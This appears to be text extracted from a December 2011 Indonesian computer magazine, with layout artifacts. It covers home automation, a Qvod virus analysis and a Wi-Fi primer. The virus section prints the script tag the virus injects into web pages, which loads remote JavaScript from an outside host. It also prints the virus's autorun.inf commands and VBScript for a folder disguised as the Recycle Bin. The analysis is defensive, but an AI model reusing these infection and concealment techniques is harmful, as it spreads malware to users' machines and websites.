Pernahkah Anda menonton film “Smart House”? Dalam film yang dirilis pada 1999 itu diceritakan rumah cerdas yang membantu dan memudahkan penghuninya dalam mengerjakan pekerjaan rumah. Pada masa itu, hal tersebut mungkin hanya cerita fiksi, sekadar akal-akalan si pembuat film untuk menarik penonton dengan ide cerita yang melampaui zamannya. Namun, sebenarnya hal tersebut merupakan prospek yang sangat menarik untuk direalisasikan. Penerapan teknologi home digital dengan automation system mungkin bisa Anda jumpai di gedung-gedung seperti perkantoran maupun hotel. Alasannya adalah untuk memudahkan perawatan (maintenance) dan pengamanan (security) sehingga apabila

68

68_cover story_12 edit nur_edit dias.indd 68

ada kerusakan atau kejadian yang tidak diinginkan, hal itu dapat langsung dipantau dan segera ditangani. Lalu, bagaimana jika sistem ini diterapkan di rumah tinggal? Tentunya hal tersebut sangatlah mungkin. Aplikasi untuk rumah tinggal memang tidak serumit untuk gedung walau tetap membutuhkan program yang lumayan banyak. Akan lebih baik bila rumah itu sudah dirancang sejak tahap pembangunan. Dengan begitu, instalasi yang akan dipasang akan lebih rapi dan teratur serta dari segi konsep, lebih mudah untuk dilakukan pengontrolan karena direncanakan dari awal. Lalu, bagaimana jika rumah sudah jadi dan belakangan Anda baru ingin menggunakan sistem ini? Tidak masalah. Ada beberapa cara untuk meng-

atasinya. Namun, semua bergantung pada kondisi lapangan dan diperlukan survei terlebih dahulu. Salah satu kelebihan automation system adalah efisiensi, baik dari segi waktu, energi, dan uang. Namun, untuk membangun itu semua memang diperlukan modal awal yang tidak sedikit. Pada “Cover Story” edisi akhir tahun kali ini, tema yang diangkat berkaitan dengan home digital yang mungkin bisa Anda jadikan panduan untuk membenahi rumah agar lebih menyamankan untuk menyambut tahun baru.

Latar Belakang Istilah “home automation”, “intelligent house”, dan “smart house” merupakan bagian domotics (domestic robotics). Hal ini berkaitan dengan aktivitas 12/2011

11/9/2011 4:23:16 PM

Home Digital COVER STORY

pengendalian dan monitoring untuk skala rumah tinggal yang bertujuan menciptakan kenyamanan serta akses yang lebih mudah dalam melakukan sesuatu. Rumah yang di dalamnya diterapkan konsep ini biasanya terdapat beberapa unsur di dalamnya, meliputi sistem penerangan (lighting system), sistem keamanan (security system), heating, sistem pengatur temperatur dan ventilasi (HVAC), dan sistem hiburan (entertainment system). Pada rumah konvensional, tiap-tiap sistem ini berdiri sendiri. Tiap sistem dikontrol secara terpisah, baik dengan menggunakan keypad, remote control, sakelar, maupun lainnya. Untuk mendapatkan kondisi tertentu, sering penghuni harus menyesuaikan beberapa sistem sekaligus, seperti menyesuaikan tingkat penerangan, temperatur, dan proteksi keamanan pada malam hari. Home automation (smart home system) adalah sistem yang digunakan untuk mengintegrasikan berbagai sistem yang umumnya terdapat dalam rumah (bangunan). Terintegrasinya berbagai sistem ini diharapkan dapat meningkatkan: kenyamanan (tingkat penerangan, suhu, kelembapan yang optimal), keamanan (proteksi terhadap akses, sistem alarm, dan monitoring keadaan), kemudahan (mengontrol berbagai sistem di mana pun dan kapan pun), efisiensi (menggunakan resource atau energi sesuai kebutuhan). Kendala utama dalam integrasi ini adalah bagaimana berbagai sistem yang sudah ada dalam satu bangunan dapat berkomunikasi satu sama lain. Pada saat ini belum terdapat satu platform standar yang cukup dominan digunakan oleh vendor elektronik sebagai acuan. Berdasarkan medium komunikasinya, metoda integrasi yang digunakan saat ini dapat dibedakan menjadi hard wired, radio frequency, power line, dan hybrid. Hard-Wired (Bus Sistem) Menggunakan kabel untuk mengirimkan data komunikasi antara berbagai modul. Metode ini memiliki kestabilan komunikasi yang baik, tetapi kurang tepat digunakan bila rumah/ gedung sudah selesai dibangun. Ada12/2011

68_cover story_12 edit nur_edit dias.indd 69

nya kendala terhadap posisi atau letak yang kurang sesuai dan cenderung dipaksakan menyebabkan hilangnya estetika dan nilai seni bangunan yang sudah terbentuk. Radio Frequency Menggunakan metode wireless radio frequency untuk mengirimkan data. Metode ini mudah diimplementasikan, tetapi sering terkendala dengan interferensi (gangguan dari frekuensi lain) dan jangkauan yang terbatas. Power Line Menggunakan modulasi frekuensi listrik untuk mengirimkan data. Biasanya informasi yang dibawa berfrekuensi rendah dan dimasukkan ke gelombang pembawa (gelombang berfrekuensi tinggi). Metode ini juga relatif mudah diimplementasikan, tetapi sering terkendala oleh faktor noise pada aliran listrik, relatif lambat, dan rentan terhadap masalah oleh perintah yang bertabrakan (collision command). Hybrid Menggabungkan beberapa metode yang disebut di atas untuk dapat mengirim kan perintah yang lebih konsisten/stabil dan mudah diimplementasikan.

On Site Interface

User interface yang terdapat pada area rumah/bangunan. User interface ini bisa berupa keypad, touchscreen, dan remote control. Off Site Interface User interface yang memungkinkan pengguna mengontrol sistem pada saat tidak berada di sekitar rumah/bangunan. User interface ini bisa berupa web interface, phone escort system, SMS interface, maupun e-mail interface. Integrasi dan user interface adalah faktor yang sangat penting dalam memilih home automation system. Home (building) automation yang baik harus dapat melakukan integrasi dengan berbagai sistem secara konsisten dan stabil. Sistem juga harus mudah diakses, dimonitor, dan dikontrol secara lokal maupun remote. Kategori Home Automation System Beberapa aplikasi yang berkaitan dengan sistem ini dapat dikategorikan sebagai berikut.

Home Network Home network atau Home Area Net-

NETWORK CATEGORY Device Interconnection

Control and Automation Nets

Data Nets

Bluetooth IEEE 1394 interface (FireWire) IrDA Universal Serial Bus (USB) ZigBee

SCS BUS with OpenWebNet S-Bus C-Bus (protocol) CEBus EnOcean EHS INSTEON KNX (European Installation Bus) LonWorks ONE-NET Universal Powerline Bus X10 ZigBee Z-Wave ECHONET

Ethernet Homeplug HomePNA Wi-Fi

Faktor lain yang juga sangat penting dalam implementasi home automation system adalah user interface yang digunakan untuk mengakses/mengontrol sistem. User interface dapat dikelompokkan menjadi:

work (HAN) merupakan jaringan lokal untuk area rumah yang digunakan untuk komunikasi antarperangkat PC maupun device lainnya yang mendukung komunikasi standar IEEE 802. Komunikasi antara dua perangkat PC bisa dilakukan

69

11/9/2011 4:23:24 PM

COVER STORY Home Digital

Ethernet RJ-45 connector.

Home network modem.

tanpa adanya device tambahan asalkan keduanya memiliki koneksi RJ-45. Jika tidak, Anda dapat memanfaatkan slot PCI atau PCIe untuk dipasangi LAN card. Untuk perangkat PC yang lebih dari dua, Anda dapat menggunakan modem/router sehingga dapat digunakan untuk keperluan komunikasi internet maupun intranet. 1. Chat Message Aplikasi ini untuk melengkapi kemampuan informasi yang lebih efektif di area rumah atau gedung. Tentunya aplikasi chat message sangat berguna. Bayangkan, ketika ingin melakukan sesuatu atau menyampaikan informasi kepada orang lain, Anda tidak perlu beranjak dari kursi meja komputer Anda, cukup dengan aplikasi chat message, maka informasi akan segera tersampaikan. Banyak aplikasi untuk chat messaging yang bisa Anda dapatkan di internet, baik itu yang bersifat freeware maupun berbayar. Selain itu, aplikasi ini ada yang bersifat lokal antarjaringan (tanpa koneksi internet) untuk menghubungkan antarkomputer dalam satu area network yang sama. Sementara, untuk komunikasi secara internasional, Anda bisa memanfaatkan instant messenger yang terhubung ke internet. Salah satu aplikasi yang kami contohkan di sini adalah Squiggle. Squiggle merupakan aplikasi chat messaging yang bersifat freeware untuk komunikasi antarkomputer jaringan lokal sehingga Anda tidak membutuhkan koneksi internet untuk menjalankannya. Aplikasi ini bersifat portabel sehingga tidak perlu proses instalasi untuk menjalankannya. Cukup copy program tersebut pada salah satu drive di komputer Anda lalu

70

68_cover story_12 edit nur_edit dias.indd 70

Wireless network router.

jalankan. Untuk lebih mudahnya, Anda dapat membuat shortcut aplikasi tersebut dan menyimpannya di desktop. Aplikasi ini terdiri atas dua file, yaitu multicast dan client. File multicast dijalankan di komputer yang dijadikan sebagai server, sedangkan file client dijalankan baik di komputer server maupun komputer client. Untuk konfigurasi kali pertama, jalankan aplikasi Squiggle.Multicast.exe pada komputer yang dijadikan server. Jika berhasil, akan muncul command prompt yang berisi informasi IP dan Port in presence address. Nah, informasi ini Anda masukkan di komputer client melalui tab setting-tools-connection. Pastikan informasi yang Anda masukkan sesuai. Pada combo text bind to IP, biarkan sesuai kondisi default-nya. Selain untuk menyampaikan informasi

berupa teks, aplikasi ini juga menyampaikan informasi dalam bentuk suara. 2. NAS Network-Attached Storage (NAS) device adalah sistem penyimpanan yang mempunyai tujuan khusus, yaitu untuk diakses dari jauh melalui data network. Hal ini memungkinkan setiap user yang terdaftar dapat mengaksesnya melalui komputer atau device yang mendukung komunikasinya. Konsep dasarnya seperti file sharing, tetapi bersifat standalone tanpa membutuhkan komputer untuk menjalankannya. Keuntungan yang paling dapat Anda rasakan dari penggunaan NAS adalah komputer atau device yang terhubung tidak membutuhkan storage yang besar karena seluruhnya telah tersedia di NAS. Anda dapat mengombinasikannya

Tampilan chat pada Squiggle. Konfigurasi dan pengaturan koneksi.

Tampilan status user.

Command prompt yang menginformasikan IP dan port.

12/2011

11/9/2011 4:23:26 PM

Home Digital COVER STORY

dengan modem atau router yang bersifat wireless sehingga aksesnya lebih mudah tanpa terfokus pada area tertentu. Selain itu, koneksi melalui wireless memiliki dukungan lebih banyak terhadap device, seperti smartphone dan tablet. Contoh mudahnya, suatu ketika Anda ingin menonton film high definition di kamar dengan menggunakan tablet. Namun, masalahnya adalah memory internal pada tablet Anda memiliki kapasitas yang terbatas. Anda dapat memanfaatkan koneksi Wi-Fi pada tablet Anda untuk mengakses film yang tersimpan di NAS dan menyaksikannya secara streaming. Namun, perlu diingat bahwa koneksi melalui wireless sangat rentan terhadap gangguan, terutama interferensi dan jangkauan yang terbatas sehingga harus dipastikan device yang digunakan juga memiliki kualitas jaringan yang baik.

Home Entertainment Systems Komputer secara umum lebih sering digunakan sebagai alat untuk mengerjakan berbagai pekerjaan kantor, mulai word processing untuk dokumen, input laporan keuangan melalui spreadsheet, hingga pengerjaan desain seperti dengan Photoshop, 3Dmax, CATIA, dan Altium. Ada kalanya itu membuat Anda merasa jenuh kemudian mencari hiburan untuk me-refresh pikiran. Hal yang paling umum dilakukan adalah mencari hiburan dengan menonton film di bioskop atau lebih praktisnya menonton film di rumah melalui home theater/home cinema. Pada tahun 2000-an, istilah “home

Memilih HTPC Untuk mendapatkan kemampuan optimal dari sistem HTPC, pastikan output display yang dimilikinya sudah mendukung resolusi maksimal untuk digital, yaitu 2560 x 1600 (biasanya didukung oleh video card discreet). Sementara, monitor yang digunakan adalah 27 inci agar diperoleh nilai kerapatan 111 Pixel Per Inch (PPI). Selain itu, jarak antara mata

12/2011

68_cover story_12 edit nur_edit dias.indd 71

Windows Media Center.

Windows Media Center Sync.

Windows Media Center Power DVD.

Windows Media Center Internet TV.

theater” atau “bioskop rumah” mencakup berbagai sistem yang ditujukan untuk pemutaran film di rumah. Home theater konvensional biasanya terdiri atas pemutar film (DVD, VCD, Blu-Ray player), monitor, dan surround speaker. Jika memiliki komputer di rumah, Anda bisa memanfaatkannya sebagai media hiburan yang lebih optimal. Home Theater PC (HTPC) merupakan istilah populer yang digunakan untuk mendefinisikan kombinasi kemampuan komputer dengan aplikasi software yang mendukung video, foto, music playback, video recording, dan sebagainya. 1. Karakteristik HTPC Melalui HTPC, informasi tidak hanya dapat dinikmati pada saat itu, tetapi juga dapat direkam lalu file-nya disimdengan monitor disarankan tiga meter untuk memperoleh tampilan gambar yang nyaman dan sesuai. Namun, Jika Anda menggunakan layar monitor yang lebih besar dengan resolusi

pan dalam media storage di salah satu drive PC atau di network storage seperti NAS. Berikut ini beberapa karakteristik standar HTPC. Television Connectivity Sebagai media center, tentunya ia juga harus menyediakan kemampuan sebagai televisi. Maka, dukungan interface sangat penting sebagai media penghubung dengan monitor, baik LCD maupun CRT. Remote Control Untuk menunjang kenyamanan, kemampuan untuk kendali jarak jauh setidaknya harus dimiliki juga oleh HTPC. Banyak TV tuner yang sudah mengintegrasikan kemampuan pada software-nya dengan pengendalian melalui remote. Beberapa software TV tuner seperti Boxee, yang sama, otomatis nilai PPI yang diperoleh lebih rendah. Untuk menyiasatinya, Anda dapat mengatur jarak antara mata ke monitor agar lebih nyaman. Lebih jauh tentunya lebih baik. Salah satu solusi penggunaan HTPC yang cukup ekonomis adalah dengan mini PC. Saat ini sudah banyak mini PC yang menyertakan spesifikasi hardware yang mumpuni, seperti pada seri AMD E-350 dengan CPU dan GPU yang telah terintegrasi bersama motherboard.

71

11/9/2011 4:23:30 PM

COVER STORY Home Digital

GB-PVR, SageTV, MediaPortal, dan Beyond TV mendukung Windows Media Center Edition. Input device berupa air-mouse pointer seperti yang digunakan oleh Nintendo WiFi maupun input device lain yang koneksinya berbasiskan wireless bisa dijadikan controller alternatif. External and Networked Storage Device Karena HTPC merupakan media center, otomatis berbagai file multimedia seperti music, picture, videos, dan television shows membutuhkan kapasitas internal yang tidak sedikit. Maka, tidak jarang HTPC dilengkapi dengan NAS yang terkoneksi dengan server. TV Tuner Hal utama agar PC dapat difungsikan sebagai televisi, selain dukungan driver/software, adalah TV tuner sebagai device untuk menerima atau menangkap sinyal televisi di komputer.

Home Security Rumahku istanaku, itulah kalimat yang menggambarkan betapa kita mendambakan rumah yang membuat kita merasa nyaman dan betah tinggal di dalamnya. Faktor yang berperanan dalam menciptakan kenyamanan tersebut tidak sebatas segala sesuatu yang tersedia di dalamnya, tetapi juga rasa aman dari gangguan dan ancaman pencurian. Kejadian seperti itu mungkin frekuensinya minim, tetapi tidak ada salahnya sedia payung sebelum hujan. Beberapa aplikasi yang dapat digunakan untuk melengkapi rumah Anda di antaranya sebagai berikut. 1. Sistem Alarm Saat ini penggunaan sistem alarm tidak hanya untuk gedung/bangunan komersial, tetapi telah digunakan secara luas untuk bangunan residensial. Alarm rumah digunakan untuk melindungi penghuni sekaligus harta benda di dalamnya. Sebagai security system, alarm digunakan untuk memberikan alert/peringatan akan adanya potensi bahaya, umumnya berupa peringatan adanya intruder. Sistem alarm yang lengkap umumnya terdiri atas:

72

68_cover story_12 edit nur_edit dias.indd 72

main panel (pengendali utama yang

merupakan otak sistem alarm), sensor (alat yang digunakan untuk mendeteksi intruder), audio visual alert (alat yang digunakan untuk memberikan alert adanya intruder secara lokal dengan menggunakan suara atau cahaya), remote alert (alat yang digunakan untuk memberikan alert adanya intruder kepada remote user melalui telepon, SMS, dan e-mail). Sistem komunikasi antara bagianbagian di atas membedakan sistem alarm menjadi dua kelompok besar berikut. Hard-Wired System

Menggunakan kabel untuk mengirimkan sinyal antarbagian. Hardwired system ini umumnya lebih stabil, tetapi memerlukan biaya untuk proses instalasi infrastruktur (kabel) yang lebih besar. Wireless System Menggunakan radio frekuensi untuk mengirimkan sinyal antarbagian. Wireless system ini lebih mudah untuk dipasang sehingga lebih cocok untuk retrofitting (melengkapi bangunan yang sudah jadi). Akan tetapi, harga wireless module umumnya lebih mahal dan memerlukan perawatan yang lebih rumit. Di samping itu, kestabilan sinyal wireless sangat rentan terhadap interferensi dari sinyal wireless lainnya. Sistem alarm yang memenuhi standar keamanan tidak harus menggunakan semua jenis sensor yang ada, tetapi setidaknya memiliki semua bagian yang disebut di atas, yakni panel, sensor, audio/video alert, dan remote alert. Di samping memiliki semua bagian itu, sistem alarm yang baik juga harus memiliki sumber listrik cadangan yang terintegrasi, terutama untuk panel dan audio/video alert. Sumber listrik ca da ngan ini sangat krusial agar dapat memberikan perlindungan optimal. Tanpa adanya sumber listrik cadangan ini, alarm tidak dapat memberikan proteksi bila sumber listrik utama padam.

2. CCTV Berkembangnya teknologi jaringan otomatis membuka pula berbagai macam teknologi yang bergantung padanya, termasuk surveillance technology. Kemajuan dan penggunaan teknologi jaringan (intranet and internet) secara meluas membuat teknologi ini menjadi medium transmisi yang efektif. Teknologi ini mungkin sangat umum dan kerap dijumpai di gedung-gedung besar, tetapi tidak menutup kemungkinan untuk ditempatkan di area rumah tinggal. Teknologi analog CCTV konvensional menggunakan kabel koaksial sebagai medium untuk mengirimkan streaming video menuju alat perekam ataupun monitor. Untuk mengintegrasikan teknologi jaringan dengan teknologi CCTV, data analog yang dikirim oleh CCTV harus dikonversi menjadi data digital. Pemrosesan dari analog menjadi digital ini dapat dilakukan pada berbagai fase/tahap. Seperti terlihat pada gambar “IP CCTV system diagram” dan “CCTV system diagram”, streaming video yang dikirim melalui network protocol (TCP/ IP) harus dalam bentuk data digital. Pada kamera analog, proses konversi ini dilakukan secara eksternal oleh video server, sedangkan pada kamera IP, proses ini dilakukan secara internal di dalam kamera. Setelah dikonversi menjadi data digital, data ini perlu diformat ke paket data yang sesuai dengan standar network protocol (TCP/IP). Selanjutnya, data yang dikirim melalui protocol TCP/IP dapat diakses melalui intranet ataupun internet. Setiap device (PC, smartphone, tablet, laptop) yang terhubung ke jaringan intranet/internet akan dapat mengakses video yang dihasilkan oleh kamera CCTV. Video yang diakses melalui network dapat diperoleh dengan dua cara: 1. Download Data video dikonversi menjadi digital dan disimpan dalam bentuk file. Proses download digunakan bila kita ingin melihat hasil rekaman pada waktu lampau. 2. Streaming Data video yang dihasilkan oleh kamera CCTV langsung dikonversi dan dikirim melalui jaringan net12/2011

11/9/2011 4:23:36 PM

Home Digital COVER STORY

work. Proses ini memungkinkan kita memonitor kamera secara real-time. Karena data video memiliki ukuran yang sangat besar, proses streaming ini memerlukan bandwidth network yang sangat besar agar dapat menampilkan video secara real-time. Jika Anda memiliki webcam di rumah, Anda dapat memanfaatkannya untuk dijadikan sebagai CCTV. Cukup memasangnya di area yang Anda inginkan (biasanya area yang cukup rentan dan minim pengawasan). Untuk mencobanya, kami menyertakan software untuk aplikasi ini, yaitu Yawcam. Software ini berupa aplikasi freeware untuk CCTV melalui webcam maupun kamera IP. Ini bisa dijadikan sebagai solusi ekonomis bagi Anda untuk memasang CCTV di rumah. Walaupun bersifat freeware, aplikasi ini menawarkan fitur yang menarik, seperti motion detection sehingga setiap terjadi pergerakan, gerakan tersebut akan di-capture dan langsung disimpan secara otomatis.

Opsi pengaturan input pada Yawcam.

Untuk kamera dengan koneksi USB, cukup lakukan plug & play karena device secara otomatis terdeteksi. Sementara, untuk kamera IP, cukup masukkan URL serta port kamera tersebut.

Menghubungkan kamera CCTV ke jaringan intranet/internet memungkinkan infrastrutur keamanan yang lebih terpadu dengan infrastruktur komunikasi lainnya. Dengan terhubung ke jaringan network, akses terhadap kamera CCTV juga menjadi lebih fleksibel dan luas. Akan tetapi, kemudahan ini juga harus diikuti dengan penerapan standar kemanan yang lebih baik untuk mencegah akses ilegal ataupun bocornya informasi.

IP CCTV system diagram.

CCTV system diagram.

12/2011

68_cover story_12 edit nur_edit dias.indd 73

11/9/2011 4:23:36 PM

VIRUS Qvod ON THE DISC

QVOD Menikmati musik dan video sudah jadi bagian dari rutinitas pengguna komputer. Bagaimana jika aplikasi player-nya adalah virus? Novida Iskandar

Masih ingat dengan Ramnit? Ya, itu adalah salah satu malware yang sempat menyebar luas dan memiliki kemampuan menginfeksi file, khususnya untuk executable file dengan ekstensi *.exe, *.dll, juga file HTML (HyperText Markup Language) yang berekstensi *.htm dan *.html. Mirip dengan aksi yang dilakukan oleh Ramnit, virus bernama Qvod ini juga dapat menginfeksi executable file dan menyembunyikan entry point file asli serta mengarahkan entry point ke kode virus. Selain itu, sama halnya dengan Ramnit yang menginfeksi file HTML, QVod juga menginfeksi file yang sama, yaitu file *.html dan *.htm (ditambah dengan file *.asp, *.aspx) dengan pola penginfeksian yang sama.

QVod dan QVod Player Walaupun agak mirip dengan Ramnit, Qvod sebenarnya sudah menyebar cukup lama. Beberapa antivirus luar mengenalnya dengan nama antara lain Qvod, Wapomi, dan Jadtre. Namun, penyebarannya di Indonesia masih termasuk tinggi dan sering dilaporkan. Nama Qvod diambil dari Properties Name yang tertera pada file induk Qvod yang tertulis “QvodInstall Modul”. Icon yang digunakan adalah icon aplikasi installer QVod Player buatan QVod Shenzhen QVOD Technology Co. Ltd. File induk Qvod terlihat seperti pada Gambar 1.

QVod Player adalah aplikasi multimedia dan memiliki fitur-fitur yang hampir sama dengan multimedia player yang lain, sebut saja K-Lite Codec Mega Code Pack dan Winamp. Seperti yang tertera pada salah satu website yang menyediakan fasilitas untuk men-download aplikasi installer QVod Player (http:// shenzhen-qvod-technology-co-ltd1.software.informer.com), dijelaskan bahwa QVod Player dapat digunakan untuk player beberapa tipe file, seperti mp3, flv, mkv, bmp, mp4, dat, avi, swf, vob, gif, jpg, wma, dan wmv. Jika dilihat dari website resminya (http://qvod.com/), QVod Player berasal dari China. Meski demikian, tidak dapat seratus persen disimpulkan virus QVod berasal dari China. Sampai saat ini, kami mendapatkan tiga varian virus Qvod.

RECYCLER Tanpa dekstop.ini Beberapa malware yang menyebar melalui flashdisk umumnya membuat folder RECYCLER sebagai tempat persembunyian. Sebut saja Conficker, Ramnit, dan barubaru ini adalah NgrBot. Ketika folder tersebut ada di flashdisk dan pengguna mencoba masuk ke dalamnya, yang terlihat adalah sama seperti yang terlihat jika kita membuka Recycle Bin. Sebenarnya, hal itu dapat terjadi karena di dalam folder yang memiliki atribut system tersebut disisipkan satu file “desktop.ini” dengan source code yang cukup sederhana. Membuat folder langsung seperti Recycle Bin sebenarnya sangat mudah. Berikut contoh pemrograman sederhana dengan menggunakan bahasa pemrograman Visual Basic Script untuk membuat folder seperti Recycle Bin. Dim url, sfso, mkd, sc

Gambar 1. File induk virus Qvod.

74

pcm_virus_12 edit nur.indd 74

Set sfso = CreateObject(“Scripting.

FileSystemObject”) url = “C:\Sample-RECYCLER” If sfso.FolderExists(url) Then Set mkd = sfso.GetFolder(url) mkd.Attributes = 4 Else Set mkd = sfso.CreateFolder(url) mkd.Attributes = 4 End If Set sc = sfso.CreateTextFile(url & “\desktop.ini”) sc.WriteLine (“; Code of Desktop.ini”) sc.WriteLine (“[.ShellClassInfo]”) sc.WriteLine (“CLSID={645FF040-5081101B-9F08-00AA002F954E}”) sc.Close

Namun, Qvod melakukan teknik yang sedikit unik, yaitu langsung membuat folder dengan nama yang mengandung fungsi CLSID. CLSID adalah singkatan dari Class ID yang bisa dikatakan nama atau kode khusus yang di dalamnya terkandung karakter alfanumerik dan mewakili nama-nama file system atau special folder pada Windows. Penggunaannya dapat dengan cara menyisipkan code CLSID di bagian belakang nama folder, misalnya My C0mput3rs. {20d04fe03aea-1069-a2d8-08002b30309d} dan hasilnya adalah folder tersebut akan berfungsi menjadi My Computers. Begitu pula dengan QVod yang menambahkan {645FF040-5081-101B-9F0800AA002F954E} pada nama folder host yang dibuat QVod pada flashdisk, yang membuat folder tersebut berfungsi menjadi Recycle Bin.

Nama Acak pada Shell Menu Hal ini sudah pasti berhubungan dengan isi source code pada autorun.inf yang pasti mengikuti nama file virus yang akan dipanggilnya. Begitu pula 12/2011

11/2/2011 1:32:10 PM

Qvod VIRUS

Gambar 2. Tampilan saat klik kanan pada flashdisk yang terinfeksi.

jika host tersebut berada dalam sebuah folder. Yang menarik adalah mungkin bisa dikatakan bahwa pola autorun.inf ini adalah bentuk autorun yang sudah tidak digunakan lagi oleh beberapa malware saat ini. Umumnya, untuk malware sekarang, biasanya seperti ini: Shell\Open\Command = namavirus.exe Shell\Explore\Command = namavirus.exe

Sementara, pada Qvod ditambahkan perintah untuk mendeklarasikan ulang atau mengubah nama shell menu yang nantinya ditampilkan. shell\open=´ò¿ª(&O) shell\explore=×ÊÔ´¹ÜÀíÆ÷(&X) shell\open\Command=recycle.{645FF0405081-101B-9F08-00AA002F954E}\Setup.exe shell\explore\Command=recycle.{645FF04 0-5081-101B-9F08-00AA002F954E}\Setup.exe

Dengan demikian, menu yang akan terlihat jika kita melakukan klik kanan pada flashdisk adalah seperti Gambar 2.

Manfaatkan Koneksi Jaringan Tanpa disadari, Qvod secara diam-diam melakukan payload yang tidak disadari user. Selain melakukan penginfeksian terhadap beberapa tipe file, Qvod juga melakukan penyebaran yang memanfaatkan adanya koneksi antara komputer yang terinfeksi dengan komputer lainnya dalam sebuah jaringan. Selain itu, jika sudah menemukan adanya koneksi dengan sebuah jaringan, Qvod akan melakukan 12/2011

pcm_virus_12 edit nur.indd 75

Gambar 3. PCMAV Express for Qvod.

pengecekan pula terhadap adanya koneksi internet agar bisa mengakses beberapa website, seperti:

JavaScript yang isinya adalah: <script language=javascript src=http://www.haofbi.com/js/w.js>

svchost.exe -> csc3-2009-2-crl. verisgn.com [ 199.7.51.190 ]- Port 80 iexplore.exe -> 3.ns927. com [8.5.1.15] - Port 80 svchost.exe -> 3.NS3000WIP.COM [64.74.223.38] - Port 3994 svchost.exe -> packet to 3.ns768.com [8.5.1.13] Port 80

Kombinasi Worm, Virus, dan Trojan Berkemampuan Rootkit Qvod sebagai Worm Qvod menyebar serta memperbanyak dirinya (file induk/host) di komputer yang telah diinfeksinya. Host-nya ada di folder system32 dengan nama yang menyerupai file DLL milik Windows lalu secara terus-menerus melakukan pengecekan akan adanya removable disk atau jaringan dan yang terkoneksi dengan komputer. Hal ini dimaksudkan untuk menyebarkan host pada root removable disk. Seperti yang dijelaskan sebelumnya, Qvod akan membuat folder recycler sebagai tempat persembunyiannya dan autorun.inf pada flashdisk. Qvod sebagai Virus Sama seperti Ramnit yang tidak hanya menginfeksi executable file, Qvod juga menginfeksi file aspx, asp, htm, dan html pada bagian akhir. Tidak banyak source yang disisipkan, hanya sepenggal code

script>

Lain halnya dengan hasil infeksinya pada executable file. Qvod menambahkan kode virus fisik ke dalam file yang diinfeksinya pada section baru yang diciptakannya. Qvod sebagai Trojan Seperti yang dijelaskan sebelumnya, selain mengakses dan berusaha menyebarkan companion jika ada koneksi jaringan, Qvod juga mencoba mengakses beberapa website. Sayangnya, website tersebut sudah tidak lagi aktif. Dengan begitu, bisa dikatakan bahwa beberapa payload mungkin akan terlihat jika website-website yang diakses masih aktif. Selain itu, ia juga berkemampuan rootkit dengan bersembunyi di balik proses lain agar prosesnya tidak mudah terdeteksi. Pada varian tertentu, pertahanannya diperkuat lagi dengan membuat sebuah file *.sys dengan nama acak yang ada di folder C:\WINDOWS\system32\ drivers\[nama acak].sys.

Pembersihan PCMAV Express for Qvod dirancang khusus untuk membersihkan virus Qvod yang telanjur menginfeksi. Engine removal ini akan terus diperbarui di http://virusindonesia.com, mengikuti varian baru yang ditemukan dan akan segera diintegrasikan pada engine utama PCMAV.

75

11/2/2011 1:32:13 PM

KNOW-HOW Core PC

WI-FI (WIRELESS FIDELITY) Apa pun jenis dan bentuk komputer atau gadget bersistem operasi masa kini, teknologi Wi-Fi sudah jadi syarat mutlak. Saatnya Anda mengenali Wi-Fi lebih jauh. Rifan Fernando

Wi-Fi adalah mekanisme yang memungkinkan perangkat komputer atau smartphone dapat terhubung satu sama lain melalui komunikasi single channel berbasiskan radio frekuensi. Untuk terhubung melalui Wi-Fi, device harus memiliki adapter pengontrol. Adapter ini yang nantinya memungkinkan device menangkap setiap sinyal yang lalu lalang untuk kemudian dipilih untuk saling berinteraksi. Saat ini, selain komputer atau smartphone, perangkat seperti console video game dan media player sudah dilengkapi fitur Wi-Fi. Komputer yang telah memiliki adapter pengontrol tersebut akan menciptakan area yang disebut stasiun. Semua stasiun mentransmisikan saluran komuni-

kasi frekuensi radio tunggal yang akan diterima oleh semua stasiun lain yang ada dalam jangkauan (terdeteksi). Hardware melalui aplikasi khusus yang terinstal pada sistem operasi akan memberi tahu user jika ada sinyal dari stasiun lain, termasuk jenis, alamat, tingkat keamanan, dan kekuatan sinyal stasiun tersebut. Karena itulah ia disebut mekanisme pengiriman best-effort. Sebuah gelombang frekuensi pembawa digunakan untuk mengirimkan data informasi dalam bentuk paket, yang disebut sebagai “frame Ethernet”. Setiap stasiun selalu disetel pada saluran frekuensi radio komunikasi yang telah distandarkan untuk mengambil transmisi yang tersedia.

Sejarah Wi-Fi atau istilah TI-nya disebut IEEE 802.11 kali pertama lahir pada 1985 dan diatur di bawah kewenangan U.S Federal Communications Commission yang merilis ISM band untuk penggunaan tanpa izin. Pada 1991, NCR Corporation/AT & T (sekarang Alcatel-Lucent dan LSI Corporation) menemukan prekursor untuk 802.11 di Nieuwegein, Belanda. Para penemu awalnya bermaksud menggunakan teknologi ini untuk sistem kasir. Produk berbasiskan nirkabel pertama ini dibawa ke pasar di bawah nama WaveLAN dengan tingkat data mentah dari 1 Mbit/s hingga 2 Mbit/s. Vic Hayes, yang memprakarsai IEEE 802.11 selama sepuluh tahun dan

Gambaran jalur Wi-Fi pada pita 2,4 GHz.

Lapisan Spectral dari 1 sampai 14 pada standar 802.11g yang berjalan di pita 2,4 GHz.

76

pcm_know-how_12_RIFAN_WiFi edit nur.indd 76

12/2011

11/8/2011 5:25:33 PM

Core PC KNOW-HOW

dar 802.11a. Namun, penggunaan frekuensi tinggi ini juga membawa kerugian karena luas cakupan yang efektif pada 802.11a lebih sempit daripada 802.11 b/g. Secara teori, sinyal 802.11a lebih mudah terserap oleh dinding dan benda-benda padat lain yang dilaluinya sehingga tidak dapat menembus sejauh standar 802.11b. 802.11a juga tak lepas dari gangguan, tetapi secara lokal hanya ada sinyal yang lebih sedikit untuk mengganggu. Dengan lebih sedikit gangguan, pastinya throughput jadi lebih baik. Jenis-jenis standar WiFi dan spesifikasinya.

